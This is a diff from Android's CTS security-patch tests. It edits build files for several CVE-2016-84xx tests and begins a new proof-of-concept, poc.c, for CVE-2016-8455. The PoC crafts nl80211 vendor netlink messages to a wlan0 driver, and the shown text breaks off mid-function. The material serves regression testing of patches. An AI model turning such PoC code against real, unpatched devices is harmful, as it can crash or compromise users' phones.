LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
index e984812..3f8f3c8 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
index a134d9c..39c4d84 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
index 131f240..84d5b26 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
index 21326f9..d37a1ae 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
index bfe8718..6616238 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
index 839047b..f877032 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
index d0ef823..fb2116d 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
@@ -22,14 +22,9 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
index 614d20b..745ce1e 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
index 6b20fe4..cba1876 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
index 62efb65..8191685 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
@@ -22,14 +22,9 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
index 50e2f6a..034b621 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
@@ -22,14 +22,9 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
index cd6049f..4469fcc 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
index ce1e1bb..20afa92 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
new file mode 100644
index 0000000..5ec4302
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8455
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := external/libnl/include
+LOCAL_SHARED_LIBRARIES := libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
new file mode 100644
index 0000000..1f58e23
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
@@ -0,0 +1,318 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <errno.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h>
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define MAX_MSG_SIZE 2048
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+struct kgsl_perfcounter_query_compat {
+ unsigned int groupid;
+ unsigned int countables;
+ unsigned int count;
+ unsigned int max_counters;
+ unsigned int __pad[2];
+};
+struct kgsl_perfcounter_read_group {
+ unsigned int groupid;
+ unsigned int countable;
+ unsigned long long value;
+};
+#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
+ _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
+
+struct kgsl_perfcounter_read_compat {
+ unsigned int reads;
+ unsigned int count;
+ unsigned int __pad[2];
+};
+
+#define CAL_IOCTL_MAGIC 'a'
+
+#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+
+struct nl_sock *nl_sk;
+#define NL80211_ATTR_IFINDEX 3
+enum wlan_hdd_tm_attr {
+ WLAN_HDD_TM_ATTR_INVALID = 0,
+ WLAN_HDD_TM_ATTR_CMD = 1,
+ WLAN_HDD_TM_ATTR_DATA = 2,
+ WLAN_HDD_TM_ATTR_STREAM_ID = 3,
+ WLAN_HDD_TM_ATTR_TYPE = 4,
+ /* keep last */
+ WLAN_HDD_TM_ATTR_AFTER_LAST,
+ WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
+};
+
+enum wlan_hdd_tm_cmd {
+ WLAN_HDD_TM_CMD_WLAN_FTM = 0,
+ WLAN_HDD_TM_CMD_WLAN_HB = 1,
+};
+
+typedef enum {
+ /* don't use 0 as a valid subcommand */
+ VENDOR_NL80211_SUBCMD_UNSPECIFIED,
+
+ /* define all vendor startup commands between 0x0 and 0x0FFF */
+ VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
+ VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
+
+ /* define all GScan related commands between 0x1000 and 0x10FF */
+ ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
+ ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
+
+ /* define all RTT related commands between 0x1100 and 0x11FF */
+ ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
+ ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
+
+ ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
+ ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
+
+ ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
+ ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
+
+ ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
+ ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
+
+ /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
+ ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
+ ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
+
+ /* define all wifi calling related commands between 0x1600 and 0x16FF */
+ ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
+ ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
+
+ /* define all NAN related commands between 0x1700 and 0x17FF */
+ ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
+ ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
+
+ /* define all packet filter related commands between 0x1800 and 0x18FF */
+ ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
+ ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
+
+ /* This is reserved for future usage */
+
+} ANDROID_VENDOR_SUB_COMMAND;
+
+enum wl_vendor_subcmd {
+ BRCM_VENDOR_SCMD_UNSPEC,
+ BRCM_VENDOR_SCMD_PRIV_STR,
+ GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
+ GSCAN_SUBCMD_SET_CONFIG,
+ GSCAN_SUBCMD_SET_SCAN_CONFIG,
+ GSCAN_SUBCMD_ENABLE_GSCAN,
+ GSCAN_SUBCMD_GET_SCAN_RESULTS,
+ GSCAN_SUBCMD_SCAN_RESULTS,
+ GSCAN_SUBCMD_SET_HOTLIST,
+ GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
+ GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
+ GSCAN_SUBCMD_GET_CHANNEL_LIST,
+ ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
+ ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
+ ANDR_WIFI_RANDOM_MAC_OUI,
+ ANDR_WIFI_NODFS_CHANNELS,
+ ANDR_WIFI_SET_COUNTRY,
+ GSCAN_SUBCMD_SET_EPNO_SSID,
+ WIFI_SUBCMD_SET_SSID_WHITELIST,
+ WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
+ WIFI_SUBCMD_ENABLE_LAZY_ROAM,
+ WIFI_SUBCMD_SET_BSSID_PREF,
+ WIFI_SUBCMD_SET_BSSID_BLACKLIST,
+ GSCAN_SUBCMD_ANQPO_CONFIG,
+ WIFI_SUBCMD_SET_RSSI_MONITOR,
+ WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
+ RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
+ RTT_SUBCMD_CANCEL_CONFIG,
+ RTT_SUBCMD_GETCAPABILITY,
+ RTT_SUBCMD_GETAVAILCHANNEL,
+ RTT_SUBCMD_SET_RESPONDER,
+ RTT_SUBCMD_CANCEL_RESPONDER,
+ LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
+ DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
+ DEBUG_TRIGGER_MEM_DUMP,
+ DEBUG_GET_MEM_DUMP,
+ DEBUG_GET_VER,
+ DEBUG_GET_RING_STATUS,
+ DEBUG_GET_RING_DATA,
+ DEBUG_GET_FEATURE,
+ DEBUG_RESET_LOGGING,
+ DEBUG_TRIGGER_DRIVER_MEM_DUMP,
+ DEBUG_GET_DRIVER_MEM_DUMP,
+ DEBUG_START_PKT_FATE_MONITORING,
+ DEBUG_GET_TX_PKT_FATES,
+ DEBUG_GET_RX_PKT_FATES,
+ DEBUG_GET_WAKE_REASON_STATS,
+ WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
+ ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
+ WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
+ APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
+ APF_SUBCMD_SET_FILTER,
+ /* Add more sub commands here */
+ VENDOR_SUBCMD_MAX
+};
+
+#define QCA_NL80211_VENDOR_ID 0x001374
+#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
+#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
+#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
+
+#define BPF_SET_RESET 1
+#define BPF_FILTER_ID 3
+#define BPF_PACKET_SIZE 4
+#define BPF_PROGRAM 6
+#define QCA_WLAN_GET_PACKET_FILTER 2
+
+#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
+#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
+#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
+
+#define RTT_ATTRIBUTE_TARGET_CNT 0
+#define RTT_ATTRIBUTE_TARGET_CHAN 5
+#define RTT_ATTRIBUTE_TARGET_INFO 1
+
+#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
+#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
+#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
+typedef int wifi_channel;
+typedef int wifi_channel_width_t;
+typedef struct wifi_channel_info {
+ wifi_channel_width_t width;
+ wifi_channel center_freq; /* primary 20 MHz channel */
+ wifi_channel center_freq0; /* center freq (MHz) first segment */
+ wifi_channel
+ center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
+} wifi_channel_info_t;
+
+#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
+#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
+#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
+#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
+
+#define APF_ATTRIBUTE_PROGRAM_LEN 3
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version);
+int test(void);
+
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ struct nlattr *rret;
+ struct nlattr *rret2;
+ struct nlattr *rret3;
+ struct nlattr *rret4;
+ unsigned char buf_test[256];
+
+ int i = 0;
+
+ wifi_channel_info_t c_info;
+
+ unsigned char hb_params[512];
+#define DOT11_MAX_SSID_LEN 32
+ unsigned char SSID11[DOT11_MAX_SSID_LEN];
+ struct nl80211_sta_flag_update flags;
+
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+#define OUI_GOOGLE 0x001A11
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
+
